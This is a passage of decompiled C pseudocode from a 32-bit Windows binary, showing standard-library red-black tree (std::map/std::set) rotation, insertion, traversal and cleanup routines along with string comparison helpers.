      if ( *(_DWORD *)(v3 + 32) >= 0x10u )
        operator delete(*(_DWORD *)(v3 + 12));
      *(_DWORD *)(v3 + 32) = 15;
      *(_DWORD *)(v3 + 28) = 0;
      *(_BYTE *)(v3 + 12) = 0;
      result = operator delete(v3);
      v3 = v2;
    }
    while ( !*(_BYTE *)(v2 + 197) );
  }
  return result;
}

//----- (00419AA0) --------------------------------------------------------
int __thiscall sub_419AA0(int this, int a2)
{
  int result; // eax@1
  int v3; // edx@3
  int v4; // edx@5

  result = *(_DWORD *)(this + 8);
  *(_DWORD *)(this + 8) = *(_DWORD *)result;
  if ( !*(_BYTE *)(*(_DWORD *)result + 197) )
    *(_DWORD *)(*(_DWORD *)result + 4) = this;
  *(_DWORD *)(result + 4) = *(_DWORD *)(this + 4);
  v3 = *(_DWORD *)(a2 + 4);
  if ( this == *(_DWORD *)(v3 + 4) )
  {
    *(_DWORD *)(v3 + 4) = result;
    *(_DWORD *)result = this;
    *(_DWORD *)(this + 4) = result;
  }
  else
  {
    v4 = *(_DWORD *)(this + 4);
    if ( this == *(_DWORD *)v4 )
    {
      *(_DWORD *)v4 = result;
      *(_DWORD *)result = this;
      *(_DWORD *)(this + 4) = result;
    }
    else
    {
      *(_DWORD *)(v4 + 8) = result;
      *(_DWORD *)result = this;
      *(_DWORD *)(this + 4) = result;
    }
  }
  return result;
}

//----- (00419B00) --------------------------------------------------------
int __thiscall sub_419B00(int this, int a2)
{
  int result; // eax@1
  int v3; // edx@1
  int v4; // edx@3
  int v5; // edx@5

  result = *(_DWORD *)this;
  *(_DWORD *)this = *(_DWORD *)(*(_DWORD *)this + 8);
  v3 = *(_DWORD *)(result + 8);
  if ( !*(_BYTE *)(v3 + 197) )
    *(_DWORD *)(v3 + 4) = this;
  *(_DWORD *)(result + 4) = *(_DWORD *)(this + 4);
  v4 = *(_DWORD *)(a2 + 4);
  if ( this == *(_DWORD *)(v4 + 4) )
  {
    *(_DWORD *)(v4 + 4) = result;
    *(_DWORD *)(result + 8) = this;
    *(_DWORD *)(this + 4) = result;
  }
  else
  {
    v5 = *(_DWORD *)(this + 4);
    if ( this == *(_DWORD *)(v5 + 8) )
    {
      *(_DWORD *)(v5 + 8) = result;
      *(_DWORD *)(result + 8) = this;
      *(_DWORD *)(this + 4) = result;
    }
    else
    {
      *(_DWORD *)v5 = result;
      *(_DWORD *)(result + 8) = this;
      *(_DWORD *)(this + 4) = result;
    }
  }
  return result;
}

//----- (00419B60) --------------------------------------------------------
int __usercall sub_419B60<eax>(int result<eax>)
{
  int i; // ecx@1

  for ( i = *(_DWORD *)(result + 8); !*(_BYTE *)(i + 197); i = *(_DWORD *)(i + 8) )
    result = i;
  return result;
}

//----- (00419B80) --------------------------------------------------------
int __usercall sub_419B80<eax>(int result<eax>)
{
  int i; // ecx@1

  for ( i = *(_DWORD *)result; !*(_BYTE *)(i + 197); i = *(_DWORD *)i )
    result = i;
  return result;
}

//----- (00419BA0) --------------------------------------------------------
int __thiscall sub_419BA0(int this, int a2)
{
  int v2; // ebx@1
  int v3; // edi@1
  int result; // eax@4
  char v5; // zf@1
  int v6; // [sp+8h] [bp-4h]@1

  v3 = a2;
  v5 = *(_BYTE *)(a2 + 1209) == 0;
  v6 = this;
  v2 = a2;
  if ( v5 )
  {
    do
    {
      sub_419BA0(*(_DWORD *)(v2 + 8));
      v2 = *(_DWORD *)v2;
      sub_417F50(v3 + 40);
      if ( *(_DWORD *)(v3 + 32) >= 0x10u )
        operator delete(*(_DWORD *)(v3 + 12));
      *(_DWORD *)(v3 + 32) = 15;
      *(_DWORD *)(v3 + 28) = 0;
      *(_BYTE *)(v3 + 12) = 0;
      result = operator delete(v3);
      v3 = v2;
    }
    while ( !*(_BYTE *)(v2 + 1209) );
  }
  return result;
}

//----- (00419C20) --------------------------------------------------------
int __thiscall sub_419C20(int this, int a2)
{
  int result; // eax@1
  int v3; // edx@3
  int v4; // edx@5

  result = *(_DWORD *)(this + 8);
  *(_DWORD *)(this + 8) = *(_DWORD *)result;
  if ( !*(_BYTE *)(*(_DWORD *)result + 1209) )
    *(_DWORD *)(*(_DWORD *)result + 4) = this;
  *(_DWORD *)(result + 4) = *(_DWORD *)(this + 4);
  v3 = *(_DWORD *)(a2 + 4);
  if ( this == *(_DWORD *)(v3 + 4) )
  {
    *(_DWORD *)(v3 + 4) = result;
    *(_DWORD *)result = this;
    *(_DWORD *)(this + 4) = result;
  }
  else
  {
    v4 = *(_DWORD *)(this + 4);
    if ( this == *(_DWORD *)v4 )
    {
      *(_DWORD *)v4 = result;
      *(_DWORD *)result = this;
      *(_DWORD *)(this + 4) = result;
    }
    else
    {
      *(_DWORD *)(v4 + 8) = result;
      *(_DWORD *)result = this;
      *(_DWORD *)(this + 4) = result;
    }
  }
  return result;
}

//----- (00419C80) --------------------------------------------------------
int __thiscall sub_419C80(int this, int a2)
{
  int result; // eax@1
  int v3; // edx@1
  int v4; // edx@3
  int v5; // edx@5

  result = *(_DWORD *)this;
  *(_DWORD *)this = *(_DWORD *)(*(_DWORD *)this + 8);
  v3 = *(_DWORD *)(result + 8);
  if ( !*(_BYTE *)(v3 + 1209) )
    *(_DWORD *)(v3 + 4) = this;
  *(_DWORD *)(result + 4) = *(_DWORD *)(this + 4);
  v4 = *(_DWORD *)(a2 + 4);
  if ( this == *(_DWORD *)(v4 + 4) )
  {
    *(_DWORD *)(v4 + 4) = result;
    *(_DWORD *)(result + 8) = this;
    *(_DWORD *)(this + 4) = result;
  }
  else
  {
    v5 = *(_DWORD *)(this + 4);
    if ( this == *(_DWORD *)(v5 + 8) )
    {
      *(_DWORD *)(v5 + 8) = result;
      *(_DWORD *)(result + 8) = this;
      *(_DWORD *)(this + 4) = result;
    }
    else
    {
      *(_DWORD *)v5 = result;
      *(_DWORD *)(result + 8) = this;
      *(_DWORD *)(this + 4) = result;
    }
  }
  return result;
}

//----- (00419CE0) --------------------------------------------------------
int __usercall sub_419CE0<eax>(int result<eax>)
{
  int i; // ecx@1

  for ( i = *(_DWORD *)(result + 8); !*(_BYTE *)(i + 1209); i = *(_DWORD *)(i + 8) )
    result = i;
  return result;
}

//----- (00419D00) --------------------------------------------------------
int __usercall sub_419D00<eax>(int result<eax>)
{
  int i; // ecx@1

  for ( i = *(_DWORD *)result; !*(_BYTE *)(i + 1209); i = *(_DWORD *)i )
    result = i;
  return result;
}

//----- (00419D20) --------------------------------------------------------
int __thiscall sub_419D20(int this, int a2)
{
  int result; // eax@1
  int v3; // edx@3
  int v4; // edx@5

  result = *(_DWORD *)(this + 8);
  *(_DWORD *)(this + 8) = *(_DWORD *)result;
  if ( !*(_BYTE *)(*(_DWORD *)result + 15) )
    *(_DWORD *)(*(_DWORD *)result + 4) = this;
  *(_DWORD *)(result + 4) = *(_DWORD *)(this + 4);
  v3 = *(_DWORD *)(a2 + 4);
  if ( this == *(_DWORD *)(v3 + 4) )
  {
    *(_DWORD *)(v3 + 4) = result;
    *(_DWORD *)result = this;
    *(_DWORD *)(this + 4) = result;
  }
  else
  {
    v4 = *(_DWORD *)(this + 4);
    if ( this == *(_DWORD *)v4 )
    {
      *(_DWORD *)v4 = result;
      *(_DWORD *)result = this;
      *(_DWORD *)(this + 4) = result;
    }
    else
    {
      *(_DWORD *)(v4 + 8) = result;
      *(_DWORD *)result = this;
      *(_DWORD *)(this + 4) = result;
    }
  }
  return result;
}

//----- (00419D80) --------------------------------------------------------
int __thiscall sub_419D80(int this, int a2)
{
  int result; // eax@1
  int v3; // edx@1
  int v4; // edx@3
  int v5; // edx@5

  result = *(_DWORD *)this;
  *(_DWORD *)this = *(_DWORD *)(*(_DWORD *)this + 8);
  v3 = *(_DWORD *)(result + 8);
  if ( !*(_BYTE *)(v3 + 15) )
    *(_DWORD *)(v3 + 4) = this;
  *(_DWORD *)(result + 4) = *(_DWORD *)(this + 4);
  v4 = *(_DWORD *)(a2 + 4);
  if ( this == *(_DWORD *)(v4 + 4) )
  {
    *(_DWORD *)(v4 + 4) = result;
    *(_DWORD *)(result + 8) = this;
    *(_DWORD *)(this + 4) = result;
  }
  else
  {
    v5 = *(_DWORD *)(this + 4);
    if ( this == *(_DWORD *)(v5 + 8) )
    {
      *(_DWORD *)(v5 + 8) = result;
      *(_DWORD *)(result + 8) = this;
      *(_DWORD *)(this + 4) = result;
    }
    else
    {
      *(_DWORD *)v5 = result;
      *(_DWORD *)(result + 8) = this;
      *(_DWORD *)(this + 4) = result;
    }
  }
  return result;
}

//----- (00419DE0) --------------------------------------------------------
int __usercall sub_419DE0<eax>(int result<eax>)
{
  int i; // ecx@1

  for ( i = *(_DWORD *)(result + 8); !*(_BYTE *)(i + 15); i = *(_DWORD *)(i + 8) )
    result = i;
  return result;
}

//----- (00419E00) --------------------------------------------------------
int __usercall sub_419E00<eax>(int result<eax>)
{
  int v1; // ecx@1
  int v2; // edx@2
  int j; // ecx@3
  int i; // ecx@6

  v1 = *(_DWORD *)result;
  if ( !*(_BYTE *)(*(_DWORD *)result + 197) )
  {
    v2 = *(_DWORD *)(v1 + 8);
    if ( *(_BYTE *)(v2 + 197) )
    {
      for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 197); i = *(_DWORD *)(i + 4) )
      {
        if ( *(_DWORD *)result != *(_DWORD *)(i + 8) )
          break;
        *(_DWORD *)result = i;
      }
      *(_DWORD *)result = i;
    }
    else
    {
      for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 197); j = *(_DWORD *)j )
        v2 = j;
      *(_DWORD *)result = v2;
    }
  }
  return result;
}

//----- (00419E60) --------------------------------------------------------
int __usercall sub_419E60<eax>(int result<eax>)
{
  int v1; // ecx@1
  int v2; // edx@2
  int j; // ecx@3
  int i; // ecx@6

  v1 = *(_DWORD *)result;
  if ( !*(_BYTE *)(*(_DWORD *)result + 1209) )
  {
    v2 = *(_DWORD *)(v1 + 8);
    if ( *(_BYTE *)(v2 + 1209) )
    {
      for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 1209); i = *(_DWORD *)(i + 4) )
      {
        if ( *(_DWORD *)result != *(_DWORD *)(i + 8) )
          break;
        *(_DWORD *)result = i;
      }
      *(_DWORD *)result = i;
    }
    else
    {
      for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 1209); j = *(_DWORD *)j )
        v2 = j;
      *(_DWORD *)result = v2;
    }
  }
  return result;
}

//----- (00419EC0) --------------------------------------------------------
char __usercall sub_419EC0<al>(int a1<eax>, int a2<edx>)
{
  unsigned int v2; // edi@1
  int v3; // ecx@2
  unsigned int v4; // eax@4
  unsigned int v5; // esi@4
  int v6; // eax@8

  v2 = *(_DWORD *)(a1 + 16);
  if ( *(_DWORD *)(a1 + 20) < 0x10u )
    v3 = a1;
  else
    v3 = *(_DWORD *)a1;
  v5 = *(_DWORD *)(a2 + 16);
  v4 = *(_DWORD *)(a2 + 16);
  if ( v5 >= v2 )
    v4 = v2;
  if ( *(_DWORD *)(a2 + 20) >= 0x10u )
    a2 = *(_DWORD *)a2;
  v6 = sub_401F10(v4, a2, v3);
  if ( !v6 )
  {
    if ( v5 < v2 )
      return 1;
    v6 = v5 != v2;
  }
  return v6 != 0;
}

//----- (00419F10) --------------------------------------------------------
int __cdecl sub_419F10(int a1, int a2, int a3)
{
  void *v3; // eax@1
  unsigned int v4; // edi@1
  int v5; // esi@1
  int v6; // eax@5
  char v8; // cf@4
  signed int v9; // [sp+Ch] [bp-10h]@1
  int v10; // [sp+18h] [bp-4h]@1

  v5 = a1;
  v9 = 0;
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  v10 = 0;
  v4 = *(_DWORD *)(a1 + 16);
  v3 = (void *)(*(_DWORD *)(a3 + 16) + *(_DWORD *)(a2 + 16));
  v9 = 1;
  if ( v4 <= (unsigned int)v3 )
  {
    if ( *(_DWORD *)(a1 + 20) != (_DWORD)v3 )
    {
      if ( sub_401460(a1, v3, 1) )
      {
        v8 = *(_DWORD *)(v5 + 20) < 0x10u;
        *(_DWORD *)(v5 + 16) = v4;
        if ( v8 )
          v6 = v5;
        else
          v6 = *(_DWORD *)v5;
        *(_BYTE *)(v6 + v4) = 0;
      }
    }
  }
  sub_401510(0xFFFFFFFFu, v5, a2, 0);
  sub_401510(0xFFFFFFFFu, v5, a3, 0);
  return v5;
}

//----- (00419FD0) --------------------------------------------------------
int __usercall sub_419FD0<eax>(int a1<eax>, int a2<ecx>, int a3)
{
  int v3; // edi@1
  int v4; // esi@1
  int v5; // eax@2
  int v7; // [sp+8h] [bp-4h]@2

  v4 = a2;
  v3 = a1;
  if ( a1 != a3 )
  {
    v5 = a1 - a2;
    v7 = v5;
    while ( 1 )
    {
      *(_WORD *)v4 = *(_WORD *)v3;
      sub_401600(v4 + 4, -1, 0, v5 + v4 + 4);
      v3 += 32;
      v4 += 32;
      if ( v3 == a3 )
        break;
      v5 = v7;
    }
  }
  return v4;
}

//----- (0041A020) --------------------------------------------------------
int __usercall sub_41A020<eax>(int result<eax>, int a2<ebx>)
{
  int v2; // esi@2

  if ( result != a2 )
  {
    v2 = result + 12;
    do
    {
      if ( *(_DWORD *)v2 )
        operator delete(*(_DWORD *)v2);
      *(_DWORD *)v2 = 0;
      *(_DWORD *)(v2 + 4) = 0;
      *(_DWORD *)(v2 + 8) = 0;
      v2 += 40;
      result = v2 - 12;
    }
    while ( v2 - 12 != a2 );
  }
  return result;
}

//----- (0041A060) --------------------------------------------------------
int __userpurge sub_41A060<eax>(int a1<eax>, int a2<edi>, int a3<esi>, int a4)
{
  int v4; // edx@1
  int v5; // ebx@1
  int result; // eax@2
  int v7; // eax@3
  int v8; // [sp+8h] [bp-4h]@10
  char v9; // [sp+4h] [bp-8h]@20

  v5 = a1;
  v4 = a1 + 12;
  if ( !*(_DWORD *)(a2 + 8) )
  {
    sub_41A440(a2, *(_DWORD *)(a2 + 4), a1, a3, 1);
    return a3;
  }
  v7 = *(_DWORD *)(a2 + 4);
  if ( a4 == *(_DWORD *)v7 )
  {
    if ( sub_418810(a4 + 12, v4) )
    {
      sub_41A440(a2, a4, v5, a3, 1);
      return a3;
    }
    goto LABEL_20;
  }
  if ( a4 == v7 )
  {
    if ( sub_418810(v4, *(_DWORD *)(v7 + 8) + 12) )
    {
      sub_41A440(a2, *(_DWORD *)(*(_DWORD *)(a2 + 4) + 8), v5, a3, 0);
      return a3;
    }
    goto LABEL_20;
  }
  if ( sub_418810(a4 + 12, v4) && (v8 = a4, sub_41A8F0((int)&v8), sub_418810(v5 + 12, v8 + 12)) )
  {
    if ( *(_BYTE *)(*(_DWORD *)(v8 + 8) + 197) )
    {
      sub_41A440(a2, v8, v5, a3, 0);
      result = a3;
    }
    else
    {
      sub_41A440(a2, a4, v5, a3, 1);
      result = a3;
    }
  }
  else
  {
    if ( !sub_418810(v5 + 12, a4 + 12)
      || (v8 = a4, sub_419E00((int)&v8), v8 != *(_DWORD *)(a2 + 4)) && !sub_418810(v8 + 12, v5 + 12) )
    {
LABEL_20:
      *(_DWORD *)a3 = *(_DWORD *)sub_41A2B0(a2, (int)&v9, v5);
      return a3;
    }
    if ( *(_BYTE *)(*(_DWORD *)(a4 + 8) + 197) )
    {
      sub_41A440(a2, a4, v5, a3, 0);
      result = a3;
    }
    else
    {
      sub_41A440(a2, v8, v5, a3, 1);
      result = a3;
    }
  }
  return result;
}

//----- (0041A1E0) --------------------------------------------------------
int __userpurge sub_41A1E0<eax>(int a1<esi>, int a2, int a3)
{
  int v3; // eax@1
  int v4; // edx@1
  char v5; // cl@1
  int v6; // edi@1
  unsigned __int16 v7; // bx@2
  int v8; // ebx@7
  int result; // eax@9
  char v10; // zf@1
  char v11; // cf@3
  int v12; // [sp+8h] [bp-8h]@1
  int v13; // [sp+Ch] [bp-4h]@7

  v4 = a2;
  v6 = *(_DWORD *)(a2 + 4);
  v3 = *(_DWORD *)(v6 + 4);
  v10 = *(_BYTE *)(v3 + 15) == 0;
  v5 = 1;
  LOBYTE(v12) = 1;
  if ( v10 )
  {
    v7 = *(_WORD *)(a3 + 12);
    do
    {
      v11 = v7 < *(_WORD *)(v3 + 12);
      v6 = v3;
      v5 = v7 < *(_WORD *)(v3 + 12);
      LOBYTE(v12) = v7 < *(_WORD *)(v3 + 12);
      if ( v11 )
        v3 = *(_DWORD *)v3;
      else
        v3 = *(_DWORD *)(v3 + 8);
    }
    while ( !*(_BYTE *)(v3 + 15) );
  }
  v8 = v6;
  v13 = v6;
  if ( v5 )
  {
    if ( v6 == **(_DWORD **)(a2 + 4) )
    {
      *(_DWORD *)a1 = *(_DWORD *)sub_41A6D0(v6, a2, (int)&a3, 1, a3);
      *(_BYTE *)(a1 + 4) = 1;
      return a1;
    }
    sub_41A970((int)&v13);
    v8 = v13;
    v4 = a2;
  }
  if ( *(_WORD *)(v8 + 12) >= *(_WORD *)(a3 + 12) )
  {
    operator delete(a3);
    *(_DWORD *)a1 = v8;
    *(_BYTE *)(a1 + 4) = 0;
    result = a1;
  }
  else
  {
    *(_DWORD *)a1 = *(_DWORD *)sub_41A6D0(v6, v4, (int)&a3, v12, a3);
    *(_BYTE *)(a1 + 4) = 1;
    result = a1;
  }
  return result;
}

//----- (0041A2B0) --------------------------------------------------------
int __stdcall sub_41A2B0(int a1, int a2, int a3)
{
  int v4; // edx@1
  int v5; // ecx@1
  int v6; // ebx@1
  int v7; // edi@1
  unsigned int v8; // edx@2
  int v9; // ecx@3
  unsigned int v10; // eax@5
  unsigned int v11; // esi@5
  int v12; // edx@8
  int result; // eax@20
  int v14; // edx@22
  unsigned int v15; // ebx@22
  int v16; // ecx@23
  unsigned int v17; // eax@25
  unsigned int v18; // esi@25
  char v19; // sf@29
  int v20; // eax@29
  char v21; // zf@1
  char v22; // cf@2
  int v23; // ecx@20
  int v24; // ecx@33
  int v25; // ecx@36
  int v26; // [sp+14h] [bp-4h]@1
  int v27; // [sp+Ch] [bp-Ch]@1
  int v28; // [sp+10h] [bp-8h]@2

  v4 = a1;
  v6 = *(_DWORD *)(*(_DWORD *)(a1 + 4) + 4);
  v21 = *(_BYTE *)(v6 + 197) == 0;
  v5 = *(_DWORD *)(a1 + 4);
  _AL = 1;
  v7 = a3;
  v26 = *(_DWORD *)(a1 + 4);
  LOBYTE(v27) = 1;
  if ( v21 )
  {
    do
    {
      v22 = *(_DWORD *)(v6 + 32) < 0x10u;
      v8 = *(_DWORD *)(v6 + 28);
      v26 = v6;
      v28 = v8;
      if ( v22 )
        v9 = v6 + 12;
      else
        v9 = *(_DWORD *)(v6 + 12);
      v11 = *(_DWORD *)(v7 + 28);
      v10 = *(_DWORD *)(v7 + 28);
      if ( v11 >= v8 )
        v10 = v8;
      if ( *(_DWORD *)(v7 + 32) < 0x10u )
        v12 = v7 + 12;
      else
        v12 = *(_DWORD *)(v7 + 12);
      if ( !sub_401F10(v10, v12, v9) )
        v11 >= v28;
      __asm { sets    al }
      LOBYTE(v27) = _AL;
      if ( _AL )
        v6 = *(_DWORD *)v6;
      else
        v6 = *(_DWORD *)(v6 + 8);
    }
    while ( !*(_BYTE *)(v6 + 197) );
    v5 = v26;
    v4 = a1;
  }
  v28 = v5;
  if ( _AL )
  {
    if ( v5 == **(_DWORD **)(v4 + 4) )
    {
      v23 = *(_DWORD *)sub_41A440(v4, v5, v7, (int)&a3, 1);
      result = a2;
      *(_BYTE *)(a2 + 4) = 1;
      *(_DWORD *)a2 = v23;
      return result;
    }
    sub_41A8F0((int)&v28);
  }
  v15 = *(_DWORD *)(v7 + 28);
  v14 = v28 + 12;
  if ( *(_DWORD *)(v7 + 32) < 0x10u )
    v16 = v7 + 12;
  else
    v16 = *(_DWORD *)(v7 + 12);
  v18 = *(_DWORD *)(v28 + 28);
  v17 = *(_DWORD *)(v28 + 28);
  if ( v18 >= v15 )
    v17 = *(_DWORD *)(v7 + 28);
  if ( *(_DWORD *)(v28 + 32) >= 0x10u )
    v14 = *(_DWORD *)v14;
  v20 = sub_401F10(v17, v14, v16);
  v19 = v20 < 0;
  if ( !v20 )
  {
    if ( v18 < v15 )
    {
LABEL_33:
      v24 = *(_DWORD *)sub_41A440(a1, v26, v7, (int)&a3, v27);
      result = a2;
      *(_BYTE *)(a2 + 4) = 1;
      *(_DWORD *)a2 = v24;
      return result;
    }
    LOBYTE(v20) = v18 != v15;
    v19 = v20 < 0;
  }
  if ( v19 )
    goto LABEL_33;
  sub_4085A0(v7 + 40);
  if ( *(_DWORD *)(v7 + 32) >= 0x10u )
    operator delete(*(_DWORD *)(v7 + 12));
  *(_DWORD *)(v7 + 32) = 15;
  *(_DWORD *)(v7 + 28) = 0;
  *(_BYTE *)(v7 + 12) = 0;
  operator delete(v7);
  result = a2;
  v25 = v28;
  *(_BYTE *)(a2 + 4) = 0;
  *(_DWORD *)a2 = v25;
  return result;
}

//----- (0041A440) --------------------------------------------------------
int __userpurge sub_41A440<eax>(int a1<eax>, int a2<ecx>, int a3<ebx>, int a4, char a5)
{
  unsigned int v5; // edx@1
  int v6; // edx@5
  int v7; // edx@6
  int v8; // edx@8
  int v9; // ecx@12
  int v10; // edx@13
  int v11; // esi@13
  int v12; // esi@14
  int v13; // edx@17
  int v14; // esi@19
  int v15; // esi@21
  int v16; // edx@25
  int v17; // edi@25
  int v18; // esi@25
  int v19; // edi@27
  int v20; // edi@29
  int v21; // esi@32
  int v22; // edx@35
  int v23; // esi@35
  int v24; // esi@37
  int v25; // esi@39
  int v26; // edi@45
  int v27; // edi@47
  int result; // eax@53
  int v29; // ecx@53

  v5 = *(_DWORD *)(a1 + 8);
  if ( v5 >= 0x1642C84 )
  {
    sub_4085A0(a3 + 40);
    if ( *(_DWORD *)(a3 + 32) >= 0x10u )
      operator delete(*(_DWORD *)(a3 + 12));
    *(_DWORD *)(a3 + 32) = 15;
    *(_DWORD *)(a3 + 28) = 0;
    *(_BYTE *)(a3 + 12) = 0;
    operator delete(a3);
    a1 = std___Xlength_error("map/set<T> too long");
  }
  *(_DWORD *)(a1 + 8) = v5 + 1;
  *(_DWORD *)(a3 + 4) = a2;
  v6 = *(_DWORD *)(a1 + 4);
  if ( a2 == v6 )
  {
    *(_DWORD *)(v6 + 4) = a3;
    **(_DWORD **)(a1 + 4) = a3;
    v7 = *(_DWORD *)(a1 + 4);
LABEL_11:
    *(_DWORD *)(v7 + 8) = a3;
    goto LABEL_12;
  }
  if ( !a5 )
  {
    *(_DWORD *)(a2 + 8) = a3;
    v7 = *(_DWORD *)(a1 + 4);
    if ( a2 != *(_DWORD *)(v7 + 8) )
      goto LABEL_12;
    goto LABEL_11;
  }
  *(_DWORD *)a2 = a3;
  v8 = *(_DWORD *)(a1 + 4);
  if ( a2 == *(_DWORD *)v8 )
    *(_DWORD *)v8 = a3;
LABEL_12:
  v9 = a3;
  while ( !*(_BYTE *)(*(_DWORD *)(v9 + 4) + 196) )
  {
    v10 = *(_DWORD *)(v9 + 4);
    v11 = *(_DWORD *)(v10 + 4);
    if ( v10 == *(_DWORD *)v11 )
    {
      v12 = *(_DWORD *)(v11 + 8);
      if ( *(_BYTE *)(v12 + 196) )
      {
        if ( v9 == *(_DWORD *)(v10 + 8) )
        {
          v9 = *(_DWORD *)(v9 + 4);
          v13 = *(_DWORD *)(v10 + 8);
          *(_DWORD *)(v9 + 8) = *(_DWORD *)v13;
          if ( !*(_BYTE *)(*(_DWORD *)v13 + 197) )
            *(_DWORD *)(*(_DWORD *)v13 + 4) = v9;
          *(_DWORD *)(v13 + 4) = *(_DWORD *)(v9 + 4);
          v14 = *(_DWORD *)(a1 + 4);
          if ( v9 == *(_DWORD *)(v14 + 4) )
          {
            *(_DWORD *)(v14 + 4) = v13;
          }
          else
          {
            v15 = *(_DWORD *)(v9 + 4);
            if ( v9 == *(_DWORD *)v15 )
              *(_DWORD *)v15 = v13;
            else
              *(_DWORD *)(v15 + 8) = v13;
          }
          *(_DWORD *)v13 = v9;
          *(_DWORD *)(v9 + 4) = v13;
        }
        *(_BYTE *)(*(_DWORD *)(v9 + 4) + 196) = 1;
        *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v9 + 4) + 4) + 196) = 0;
        v16 = *(_DWORD *)(*(_DWORD *)(v9 + 4) + 4);
        v18 = *(_DWORD *)v16;
        *(_DWORD *)v16 = *(_DWORD *)(*(_DWORD *)v16 + 8);
        v17 = *(_DWORD *)(v18 + 8);
        if ( !*(_BYTE *)(v17 + 197) )
          *(_DWORD *)(v17 + 4) = v16;
        *(_DWORD *)(v18 + 4) = *(_DWORD *)(v16 + 4);
        v19 = *(_DWORD *)(a1 + 4);
        if ( v16 == *(_DWORD *)(v19 + 4) )
        {
          *(_DWORD *)(v19 + 4) = v18;
          *(_DWORD *)(v18 + 8) = v16;
        }
        else
        {
          v20 = *(_DWORD *)(v16 + 4);
          if ( v16 == *(_DWORD *)(v20 + 8) )
          {
            *(_DWORD *)(v20 + 8) = v18;
            *(_DWORD *)(v18 + 8) = v16;
          }
          else
          {
            *(_DWORD *)v20 = v18;
            *(_DWORD *)(v18 + 8) = v16;
          }
        }
LABEL_51:
        *(_DWORD *)(v16 + 4) = v18;
        continue;
      }
      *(_BYTE *)(v10 + 196) = 1;
      *(_BYTE *)(v12 + 196) = 1;
      *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v9 + 4) + 4) + 196) = 0;
      v9 = *(_DWORD *)(*(_DWORD *)(v9 + 4) + 4);
    }
    else
    {
      v21 = *(_DWORD *)v11;
      if ( *(_BYTE *)(v21 + 196) )
      {
        if ( v9 == *(_DWORD *)v10 )
        {
          v9 = *(_DWORD *)(v9 + 4);
          v22 = *(_DWORD *)v10;
          *(_DWORD *)v9 = *(_DWORD *)(v22 + 8);
          v23 = *(_DWORD *)(v22 + 8);
          if ( !*(_BYTE *)(v23 + 197) )
            *(_DWORD *)(v23 + 4) = v9;
          *(_DWORD *)(v22 + 4) = *(_DWORD *)(v9 + 4);
          v24 = *(_DWORD *)(a1 + 4);
          if ( v9 == *(_DWORD *)(v24 + 4) )
          {
            *(_DWORD *)(v24 + 4) = v22;
          }
          else
          {
            v25 = *(_DWORD *)(v9 + 4);
            if ( v9 == *(_DWORD *)(v25 + 8) )
              *(_DWORD *)(v25 + 8) = v22;
            else
              *(_DWORD *)v25 = v22;
          }
          *(_DWORD *)(v22 + 8) = v9;
          *(_DWORD *)(v9 + 4) = v22;
        }
        *(_BYTE *)(*(_DWORD *)(v9 + 4) + 196) = 1;
        *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v9 + 4) + 4) + 196) = 0;
        v16 = *(_DWORD *)(*(_DWORD *)(v9 + 4) + 4);
        v18 = *(_DWORD *)(v16 + 8);
        *(_DWORD *)(v16 + 8) = *(_DWORD *)v18;
        if ( !*(_BYTE *)(*(_DWORD *)v18 + 197) )
          *(_DWORD *)(*(_DWORD *)v18 + 4) = v16;
        *(_DWORD *)(v18 + 4) = *(_DWORD *)(v16 + 4);
        v26 = *(_DWORD *)(a1 + 4);
        if ( v16 == *(_DWORD *)(v26 + 4) )
        {
          *(_DWORD *)(v26 + 4) = v18;
        }
        else
        {
          v27 = *(_DWORD *)(v16 + 4);
          if ( v16 == *(_DWORD *)v27 )
            *(_DWORD *)v27 = v18;
          else
            *(_DWORD *)(v27 + 8) = v18;
        }
        *(_DWORD *)v18 = v16;
        goto LABEL_51;
      }
      *(_BYTE *)(v10 + 196) = 1;
      *(_BYTE *)(v21 + 196) = 1;
      *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v9 + 4) + 4) + 196) = 0;
      v9 = *(_DWORD *)(*(_DWORD *)(v9 + 4) + 4);
    }
  }
  v29 = *(_DWORD *)(*(_DWORD *)(a1 + 4) + 4);
  result = a4;
  *(_BYTE *)(v29 + 196) = 1;
  *(_DWORD *)result = a3;
  return result;
}

//----- (0041A6D0) --------------------------------------------------------
int __userpurge sub_41A6D0<eax>(int a1<ecx>, int a2<ebx>, int a3, char a4, int a5)
{
  unsigned int v5; // edx@1
  int v6; // edx@3
  int v7; // edi@3
  int v8; // edx@4
  int v9; // edx@6
  int v10; // ecx@10
  int v11; // edx@11
  int v12; // esi@11
  int v13; // esi@12
  int v14; // edx@15
  int v15; // esi@17
  int v16; // esi@19
  int v17; // edx@23
  int v18; // edi@23
  int v19; // esi@23
  int v20; // edi@25
  int v21; // edi@27
  int v22; // esi@30
  int v23; // edx@33
  int v24; // esi@33
  int v25; // esi@35
  int v26; // esi@37
  int v27; // edi@43
  int v28; // edi@45
  int result; // eax@51
  int v30; // ecx@51

  v5 = *(_DWORD *)(a2 + 8);
  if ( v5 >= 0x7FFFFFFE )
  {
    operator delete(a5);
    std___Xlength_error("map/set<T> too long");
  }
  v7 = a5;
  *(_DWORD *)(a2 + 8) = v5 + 1;
  *(_DWORD *)(v7 + 4) = a1;
  v6 = *(_DWORD *)(a2 + 4);
  if ( a1 == v6 )
  {
    *(_DWORD *)(v6 + 4) = v7;
    **(_DWORD **)(a2 + 4) = v7;
    v8 = *(_DWORD *)(a2 + 4);
LABEL_9:
    *(_DWORD *)(v8 + 8) = v7;
    goto LABEL_10;
  }
  if ( !a4 )
  {
    *(_DWORD *)(a1 + 8) = v7;
    v8 = *(_DWORD *)(a2 + 4);
    if ( a1 != *(_DWORD *)(v8 + 8) )
      goto LABEL_10;
    goto LABEL_9;
  }
  *(_DWORD *)a1 = v7;
  v9 = *(_DWORD *)(a2 + 4);
  if ( a1 == *(_DWORD *)v9 )
    *(_DWORD *)v9 = v7;
LABEL_10:
  v10 = v7;
  while ( !*(_BYTE *)(*(_DWORD *)(v10 + 4) + 14) )
  {
    v11 = *(_DWORD *)(v10 + 4);
    v12 = *(_DWORD *)(v11 + 4);
